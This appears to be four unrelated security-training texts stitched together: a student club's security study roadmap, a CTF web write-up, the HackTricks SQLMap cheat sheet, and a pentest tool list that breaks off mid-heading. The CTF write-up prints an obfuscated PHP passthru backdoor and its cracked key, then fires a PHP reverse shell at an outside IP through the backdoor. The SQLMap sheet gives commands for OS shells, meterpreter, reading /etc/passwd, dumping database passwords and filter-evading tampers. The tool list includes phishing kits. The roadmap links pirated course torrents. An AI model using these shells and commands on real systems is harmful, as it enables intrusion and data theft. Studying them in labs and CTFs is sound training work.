**courses** below are recommended but may not be the **best** for everyone, so if you **struggle** during one of these, you should seek something else. 📌 5. This is the **longest** and most **important** level in the circle’s technical road map. It may take more than a year but it is really worth it. A circle member with this knowledge will be fully ready to have **internships** and begin the professional advanced study phase. 📌 6. It’s **recommended** to study the materials in the **order** mentioned below. ------------ ## 1️⃣ [Reverse Engineering & Malware Analysis Path (REMAR)](https://drive.google.com/file/d/1VmkBK89A4DXLkZq2FA-eVdoJx2C1KMeC/view?usp=sharing "Reverse Engineering & Malware Analysis Path (REMAR)") ![CAT Logo](img/re.png) 📌 1. Our New Roadmap [HERE](https://drive.google.com/file/d/1VmkBK89A4DXLkZq2FA-eVdoJx2C1KMeC/view?usp=sharing "HERE") includes many steps from **Zero** to **Hero** **BTW** you will need to practice more. 📌 2. check out this really nice roadmap made by a fellow CATian! - **Plan Time-Line** Soon optional to make it easy to study ------------ ## 2️⃣[ Penetration Testing Path](https://drive.google.com/drive/folders/1U_Y9-pp7f2pTT3NSWVnhFkztpVmEROuj?usp=sharing " Penetration Testing Path") ![CAT Logo](img/pt.png) ### [Web App Penetration testing Path (WAPTR)](https://drive.google.com/file/d/1YlYBgkith2ycK8aqP2bv_a-S9YD6LANi/view?usp=sharing "Web App Penetration testing Path (WAPTR)") 📌 1. Our New Roadmap [HERE](https://drive.google.com/file/d/1YlYBgkith2ycK8aqP2bv_a-S9YD6LANi/view?usp=sharing "HERE") includes many steps from **Zero** to **Hero** **BTW** you will need to practice more. 📌 2. **To Practice:** - Create account on **[hackerone](https://www.hackerone.com/ "hackerone")** , **[bugcrowd](https://www.bugcrowd.com/ "bugcrowd")**, **[intigriti](https://www.intigriti.com/programs "intigriti")** - You should practice very well so you should Download [OWASP Broken Web Application project](https://sourceforge.net/projects/owaspbwa/ "OWASP Broken Web Application project") Try to install it on VMware or VirtualBox from [Here](https://www.youtube.com/watch?v=p7uqu4o3RhY&t=507s "Here") - preferable to download this first and practice very well i love: 1️⃣[bwapp](http://www.itsecgames.com/ "bwapp") 2️⃣[Dvwa](https://tryhackme.com/room/dvwa "Dvwa") 3️⃣[portswigger labs](https://portswigger.net/web-security "portswigger labs") 4️⃣ [Hack The Box](https://www.hackthebox.eu/ "Hack The Box") 5️⃣[OWASP Juicy](https://tryhackme.com/room/owaspjuiceshop "OWASP Juicy") 6️⃣[TryHackMe](https://tryhackme.com/ "TryHackMe") - If you are stuck in a lab solution, try searching on [Google](http://google.com/ "Google") - **Plan Time-Line** Soon optional to make it easy to study ------------ ### [ Network Penetration testing Path (NPTR)](https://drive.google.com/file/d/1OGCm2PHs0qX1NqmkeZFv9q-lo10fPbht/view?usp=sharing "Network Penetration testing Path (NPTR)") 📌 1. Our New Roadmap **[HERE](https://drive.google.com/file/d/1OGCm2PHs0qX1NqmkeZFv9q-lo10fPbht/view?usp=sharing "HERE")** includes many steps from **Zero** to **Hero** **BTW** you will need to practice more. 📌 2. There are many option Courses each course include content may conflict with other courses but there are courses to be unique. 📌 3. We will Practice on Machines **[HTB](https://www.hackthebox.eu/ "HTB")** , **[tryHackMe](https://tryhackme.com/ "tryHackMe")** , **[Vulnhub Walkthrough](https://github.com/Ignitetechnologies/Vulnhub-CTF-Writeups "Vulnhub Walkthrough")** - **Plan Time-Line** Soon optional to make it easy to study ------------ ### [Mobile App Penetration testing Path (MAPTP)](https://drive.google.com/drive/folders/1UUk4SZIh_2iLQgzyrOlLkFFbWCrZOJ0t?usp=sharing "Mobile App Penetration testing Path (MAPTP)") 📌 Under construction … - **Plan Time-Line** Soon optional to make it easy to study ------------ ## **[3️⃣ Network Security Path (defensive)](https://docs.google.com/document/d/1y1StwJFtd5gtT5LR8cr2n4SysiNABdDNMngVVFmAgjM/edit?usp=sharing "Network Security Path (defensive)")** ![CAT Logo](img/nw.png) 📌 1. **[CCNA course by Jeremy Cioara](https://www.1377x.to/torrent/112935/CBT-Nuggets-Cisco-CCNA-Certification-Package/ "CCNA course by Jeremy Cioara")** (well first thing is first we need to understand the basic protocols and concepts of network and this course is the main method to achieve this target). 📌 2. **[CCNA-security course by CBt nuggets](https://www.1377x.to/torrent/1380636/CBT-Nuggets-Cisco-CCNA-Security-210-260-IINS/ "CCNA-security course by CBt nuggets")** (this course is the real deal when it comes to network security fundamentals as it illustrates so many basic technologies and concepts). 📌 3. **[Vmware course](https://www.1377x.to/torrent/3894485/CBT-Nuggets-VMware-NSX-Introduction-and-Installation-FCO/ "Vmware course")** We will walk ourselves together in the virtual machines world through the intermediate level period in the VMware workstation but if you have any intention in taking this as a real challenge you could check this course as well Vmware course. 📌 4. **routeHub - FortiGate 6.0 Firewall Training** (this course dives in the firewall technology as it walks us through the fortigate firewall which is one of the most used products in the industry Although it’s a slightly older version but there’s no huge differences in the new version **Notes:** 🔴 All of these courses are in English with English subtitles .. if you struggled with it in the beginning please don’t give up. It's highly recommended that you continue gradually because there’s no equivalent quality in Vmware course .. And if it's necessary you can check this **[Arabic](https://www.youtube.com/user/abeerhosni "Arabic")** channel. We have downloaded all of these courses for you so if you need any of this data offline kindly inform the circle leader before any of the sessions or meetings. - **Plan Time-Line** Soon optional to make it easy to study ------------ # Technical Mentors ## 👑 [Muhammed Gamal](https://www.linkedin.com/in/mgyounis/ "Muhammed Gamal") Technical Mentor for **Penetration Testing** You Can Learn More From **[Here](https://www.facebook.com/CATReloaded/photos/4184330158308220/ "Here")** ## 👑 [Menna Essa](https://www.linkedin.com/in/menna-sh-essa/ "Menna Essa") Technical Mentor for **Reverse Engineering & Malware Analysis** You Can Learn More From **[Here](https://www.facebook.com/CATReloaded/photos/4316533688421199/ "Here")** ## 👑 [Islam Talaat](https://www.linkedin.com/in/islam-talaat/ "Islam Talaat") Technical Mentor for **Network Security** You Can Learn More From **[Here](https://www.facebook.com/CATReloaded/photos/4300097826731452/ "Here")**
# Challenge Name: Arcade Game ![date](https://img.shields.io/badge/date-17.04.2022-brightgreen.svg) ![solved in time of CTF](https://img.shields.io/badge/solved-in%20time%20of%20CTF-brightgreen.svg) ![category](https://img.shields.io/badge/category-WEB-blueviolet.svg) ![value](https://img.shields.io/badge/value-150-blue.svg) ## Description A group of hackers succeeded to own our lovely arcade machine, till now we have no idea how or when but we are sure that they will come back, due to our analysis we think there's a backdoor, try to find it for us and read the flag. [https://thnbdarija-arcade.chals.io/](https://thnbdarija-arcade.chals.io/) _Author : EddieMora_ ## Detailed solution Start by checking the website ![image](https://user-images.githubusercontent.com/72421091/163740676-92c18d66-4575-4fbf-b341-cde1bbf0c4f7.png) Source page has nothing interesting Let's check for known files and do some directory bruteforcing ```bash ┌──(kali㉿kali)-[~] └─$ gobuster dir -w /usr/share/dirb/wordlists/big.txt -t 20 -u https://thnbdarija-arcade.chals.io/ -e php,txt,js =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://thnbdarija-arcade.chals.io/ [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/dirb/wordlists/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/04/17 04:55:49 Starting gobuster in directory enumeration mode =============================================================== https://thnbdarija-arcade.chals.io/.htpasswd (Status: 403) [Size: 291] https://thnbdarija-arcade.chals.io/.htaccess (Status: 403) [Size: 291] https://thnbdarija-arcade.chals.io/README (Status: 200) [Size: 377] https://thnbdarija-arcade.chals.io/css (Status: 301) [Size: 338][--> http://thnbdarija-arcade.chals.io/css/] https://thnbdarija-arcade.chals.io/img (Status: 301) [Size: 338][--> http://thnbdarija-arcade.chals.io/img/] https://thnbdarija-arcade.chals.io/js (Status: 301) [Size: 337][--> http://thnbdarija-arcade.chals.io/js/] https://thnbdarija-arcade.chals.io/robots.txt (Status: 200) [Size: 485] https://thnbdarija-arcade.chals.io/server-status (Status: 403) [Size: 291] =============================================================== 2022/04/17 04:58:26 Finished =============================================================== ``` - https://thnbdarija-arcade.chals.io/robots.txt the only accessible files are /README and /hint.txt ``` User-agent: Applebot Disallow: /ajax/ Disallow: /album.php Disallow: /checkpoint/ Disallow: /contact_importer/ Disallow: /dialog/ Disallow: /fbml/ajax/dialog/ Disallow: /feeds/ Disallow: /file_download.php Disallow: /job_application/ Disallow: /l.php Disallow: /moments_app/ Disallow: /p.php Disallow: /photo.php Disallow: /photos.php Disallow: /plugins/ Disallow: /share.php Disallow: /share/ Disallow: /sharer.php Disallow: /sharer/ Disallow: /tr/ Disallow: /tr? Disallow: /hint.txt ``` - https://thnbdarija-arcade.chals.io/README it shows the source code for a backdoor ```php <?php $X = chr(0x73); $R = chr(0x72); $F = chr(0x75); $cGFzc3dvcmQ = "b02dc9b178659a6ea480d72c94713469"; //password123@! $owner = "logic"; //flag{try_h4rd3r_1337} $B = chr(0x61); $E = chr(0x68); $D = chr(0x74); $A = chr(0x70); $hook = $A.$B.$X.$X.$D.$E.$R.$F; if($cGFzc3dvcmQ === md5($_GET['key']) && $owner === $_GET['hint']) { $hook($_GET['zip']); } else { die(); } ``` ### Analyzing the source code - $hook is the `passthru` function - we need to find the original string for this md5 hash "b02dc9b178659a6ea480d72c94713469" - To execute a command using the backdoor, we need to send /?key=S&hint=logic&zip=command Now we need to find the key. we have the file hint.txt that has some passwords ``` ["password", 123456, 12345678, 1234, "qwerty", 12345, "dragon", "pussy", "baseball", "football", "letmein", "monkey", 696969, "abc123", "mustang", "michael", "shadow", "master", "jennifer", 111111, 2000, "jordan", "superman", "harley", 1234567, "fuckme", "hunter", "fuckyou", "trustno1", "ranger", "buster", "thomas", "tigger", "robert", "soccer", "fuck", "batman", "test", "pass", "killer", "hockey", "george", "charlie", "andrew", "michelle", "love", "sunshine", "jessica", "asshole", 6969, "pepper", "daniel", "access", 123456789, 654321, "joshua", "maggie", "starwars", "silver", "william", "dallas", "3waba1337@!", 123123, "ashley", 666666, "hello", "amanda", "orange", "biteme", "freedom", "computer", "sexy", "thunder", "nicole", "ginger", "heather", "hammer", "summer", "corvette", "taylor", "fucker", "austin", 1111] ``` After trying the md5 of those passwords, I found the one needed MD5(3waba1337@!) = b02dc9b178659a6ea480d72c94713469 Now the backdoor command is /?key=3waba1337@!&hint=logic&zip=command Now we need to find the backdoor location, I changed to the diresearch default wordlist and retry bruteforcing I found the backdoor /admin.php Now let's send the full command. I used the php reverse shell (bash didn't work) ``` php -r '$sock=fsockopen("18.158.249.75",19145);exec("bash <&3 >&3 2>&3");' ``` ``` https://thnbdarija-arcade.chals.io/admin.php?key=3waba1337%40%21&hint=logic&zip=php%20-r%20%27%24sock%3Dfsockopen%28%2218.158.249.75%22%2C19145%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27 ``` I got the reverse shell ![image](https://user-images.githubusercontent.com/72421091/163742024-53625e1e-2c55-4cdd-be54-036e2ea8ffdf.png) The box dosen't have python so I used script to stabilize the shell `/usr/bin/script -qc /bin/bash /dev/null` Checking the home directory, i found a user called ctf with a file .flag inside his home directory ![image](https://user-images.githubusercontent.com/72421091/163742333-7341fdd8-cb35-449a-9609-135fe4942ea1.png) ### Flag ``` thnb{Th4nkS_f0r_s4v1ng_Th3_4rC4d3_M4ch1n3} ```
# SQLMap - Cheetsheat <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). </details> <figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure> [**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %} ## Basic arguments for SQLmap ### Generic ```bash -u "<URL>" -p "<PARAM TO TEST>" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="<KNOWN DB TECH>" --os="<OS>" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="<AUTH>" #HTTP authentication credentials (name:password) --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` ### Retrieve Information #### Internal ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB --privileges #Get privileges ``` #### DB data ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D <DB NAME> ) --columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> ) -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column ``` ## Injection place ### From Burp/ZAP capture Capture the request and create a req.txt file ```bash sqlmap -r req.txt --current-user ``` ### GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POST Request Injection ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Injections in Headers and other HTTP Methods ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### Indicate string when injection is successful ```bash --string="string_showed_when_TRUE" ``` ### Eval **Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` ### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### Read File ```bash --file-read=/etc/passwd ``` ### Crawl a website with SQLmap and auto-exploit ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### Second Order Injection ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs ``` [**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.** <figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure> [**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %} ## Customizing Injection ### Set a suffix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Prefix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | | apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | | appendnullbyte.py | Appends encoded NULL byte character at the end of payload | | base64encode.py | Base64 all characters in a given payload | | between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | | bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | | chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | | commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | | commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' | | concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | | charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" | | charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" | | equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | | escapequotes.py | Slash escape quotes (' and ") | | greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | | halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | | ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' | | modsecurityversioned.py | Embraces complete query with versioned comment | | modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | | multiplespaces.py | Adds multiple spaces around SQL keywords | | nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters | | percentage.py | Adds a percentage sign ('%') infront of each character | | overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | | randomcase.py | Replaces each keyword character with random case value | | randomcomments.py | Add random comments to SQL keywords | | securesphere.py | Appends special crafted string | | sp\_password.py | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs | | space2comment.py | Replaces space character (' ') with comments | | space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | | space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | | space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | | space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | | space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | | space2plus.py | Replaces space character (' ') with plus ('+') | | space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and | | unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | | unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | | uppercase.py | Replaces each keyword character with upper case value 'INSERT' | | varnish.py | Append a HTTP header 'X-originating-IP' | | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | | versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | | xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | <figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure> [**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %} <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). </details>
# Pentest Tools ![](logo.png) The tools listed below are commonly used in penetration testing, and the tool catalog is referenced from Kali Tools, most of which are open source software. The project long-term supplementary update QAQ ## TODO * [x] Directory * [ ] Browser bookmarks * [ ] Tools Usage * [ ] Virtual machine - [Windows11 Penetration Suite Toolkit](https://github.com/arch3rPro/Pentest-Windows) ## List * [Information Gathering](#information-gathering) * [Vulnerability Analysis](#vulnerability-analysis) * [Web Applications](#web-applications) * [Database Assessment](#database-assessment) * [Password Attacks](#password-attacks) * [Wireless Attacks](#Wireless-Attacks) * [Reverse Engineering](#Reverse-Engineering) * [Exploitation Tools](#exploitation-tools) * [Sniffing & Spoofng](#Sniffing-&-Spoofng) * [Maintaining Access](#maintaining-access) * [Golang Sec Tools](#Golang-Sec-Tools) * [Reporting Tools](#reporting-tools) * [Social Engineering](#Social-Engineering) * [Code Audit](#code-audit) * [Port Forwarding & Proxies](#port-forwarding--proxies) * [DevSecOps](#DevSecOps) * [RootKit](#RootKit) * [Pentesting Distribution](#Pentesting-Distribution) * [Cyber Range](#Cyber-Range) ### Information Gathering #### Domain Name * [whois](https://docs.microsoft.com/en-us/sysinternals/downloads/whois) - Windows Whois performs the registration record for the domain name or IP address that you specify. ![](svg/Windows.svg) #### Subdomain * [subDomainsBrute](https://github.com/lijiejie/subDomainsBrute) - A fast sub domain brute tool for pentesters ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [ksubdomain](https://github.com/boy-hack/ksubdomain) - Subdomain enumeration tool, asynchronous dns packets, use pcap to scan 1600,000 subdomains in 1 second ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Sublist3r](https://github.com/aboul3la/Sublist3r) - Fast subdomains enumeration tool for penetration testers ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [OneForAll](https://github.com/shmilylty/OneForAll) - 👊 OneForAll is a powerful subdomain integration tool ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [LayerDomainFinder](https://github.com/euphrat1ca/LayerDomainFinder) - a subdomains enumeration tool by Layer ![](svg/Windows.svg) * [ct](https://github.com/knownsec/ct) - Collect information tools about the target domain. #### Google Hacking * [GHDB](https://www.exploit-db.com/google-hacking-database/) - Google Hack Database ![](svg/chrome.svg) * [SearchDiggity](http://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/) - SearchDiggity 3.1 is the primary attack tool of the Google Hacking Diggity Project ![](svg/Windows.svg) * [Katana](https://github.com/adnane-X-tebbaa/Katana) - A Python Tool For google Hacking ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [uDork](https://github.com/m3n0sd0n4ld/uDork) - uDork is a script written in Bash Scripting that uses advanced Google search techniques to obtain sensitive information in files or directories, find IoT devices, detect versions of web applications, and so on. ![](svg/linux.svg)![](svg/mac.svg) * [GooFuzz](https://github.com/m3n0sd0n4ld/GooFuzz) - GooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking). ![](svg/linux.svg)![](svg/mac.svg) * [Pagodo](https://github.com/opsdisk/pagodo) - pagodo (Passive Google Dork) - Automate Google Hacking Database scraping and searching . ![](svg/linux.svg)![](svg/mac.svg) #### Github * [GitHacker](https://github.com/WangYihang/GitHacker) - 🕷️ A Git source leak exploit tool that restores the entire Git repository, including data from stash, for white-box auditing and analysis of developers' mind. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [GitGraber](https://github.com/hisxo/gitGraber) - gitGraber is a tool developed in Python3 to monitor GitHub to search and find sensitive data in real time for different online services. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [GitMiner](https://github.com/UnkL4b/GitMiner) - Tool for advanced mining for content on Github. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Gitrob](https://github.com/michenriksen/gitrob) - Reconnaissance tool for GitHub organizations. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [GitGot](https://github.com/BishopFox/GitGot) Semi-automated, feedback-driven tool to rapidly search through troves of public data on GitHub for sensitive secrets. #### SVN * [svnExploit](https://github.com/admintony/svnExploit) - Support for SVN source code disclosure of full version and Dump it. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [SvnHack](https://github.com/callmefeifei/SvnHack) - SvnHack is a SVN folder disclosure exploit. :lock: #### Port Scan * [Nmap | Zenmap](https://nmap.org/) - Free and open source utility for network discovery and security auditing * [Masscan](https://github.com/robertdavidgraham/masscan) - TCP port scanner, spews SYN packets asynchronously * [Ports](https://github.com/nixawk/pentest-wiki/blob/master/3.Exploitation-Tools/Network-Exploitation/ports_number.md) - Common service ports and exploitations * [Goby](https://gobies.org/) - Attack surface mapping * [Goscan](https://github.com/marco-lancini/goscan) - Interactive Network Scanner * [NimScan](https://github.com/elddy/NimScan) - 🚀 Fast Port Scanner 🚀 * [RustScan](https://github.com/RustScan/RustScan) - 🤖 The Modern Port Scanner 🤖 * [TXPortMap](https://github.com/4dogs-cn/TXPortMap) - Port Scanner & Banner Identify From TianXiang * [Scaninfo](https://github.com/redtoolskobe/scaninfo) - fast scan for redtools * [SX](https://github.com/v-byte-cpu/sx) - 🖖 Fast, modern, easy-to-use network scanner ![](svg/linux.svg) #### OSINT * [theHarvester](https://github.com/laramies/theHarvester)- E-mails, subdomains and names Harvester - OSINT * [SpiderFoot](https://github.com/smicallef/spiderfoot) - SpiderFoot automates OSINT for threat intelligence and mapping your attack surface. * [Recon-ng](https://github.com/lanmaster53/recon-ng) - Open Source Intelligence gathering tool aimed at reducing the time spent harvesting information from open sources. ![](svg/linux.svg) * [FOCA](https://github.com/ElevenPaths/FOCA) - Tool to find metadata and hidden information in the documents. * [Amass](https://github.com/OWASP/Amass) - In-depth Attack Surface Mapping and Asset Discovery * [Censys-subdomain-finder](https://github.com/christophetd/censys-subdomain-finder) - Perform subdomain enumeration using the certificate transparency logs from Censys. * [EmailHarvester](https://github.com/maldevel/EmailHarvester) - Email addresses harvester * [Finalrecon](https://github.com/thewhiteh4t/FinalRecon) - The Last Web Recon Tool You'll Need. * [LittleBrother](https://github.com/lulz3xploit/LittleBrother) - Information gathering (OSINT) on a person (EU) * [Octosuite](https://github.com/rly0nheart/octosuite) - Advanced Github OSINT Framework * [Kunyu](https://github.com/knownsec/Kunyu) - Kunyu, more efficient corporate asset collection * [Glass](https://github.com/s7ckTeam/Glass) - OSINT Framework with Fofa/ZoomEye/Shodan/360 API ### Phishing * [gophish](https://github.com/gophish/gophish) - Open-Source Phishing Toolkit * [AdvPhishing](https://github.com/Ignitetch/AdvPhishing) - This is Advance Phishing Tool ! OTP PHISHING * [SocialFish](https://github.com/UndeadSec/SocialFish) - Educational Phishing Tool & Information Collector * [Zphisher](https://github.com/htr-tech/zphisher) - An automated phishing tool with 30+ templates. This Tool is made for educational purpose only ! Author will not be responsible for any misuse of this toolkit ! * [Nexphisher](https://github.com/htr-tech/nexphisher) - Advanced Phishing tool for Linux & Termux ### Vulnerability 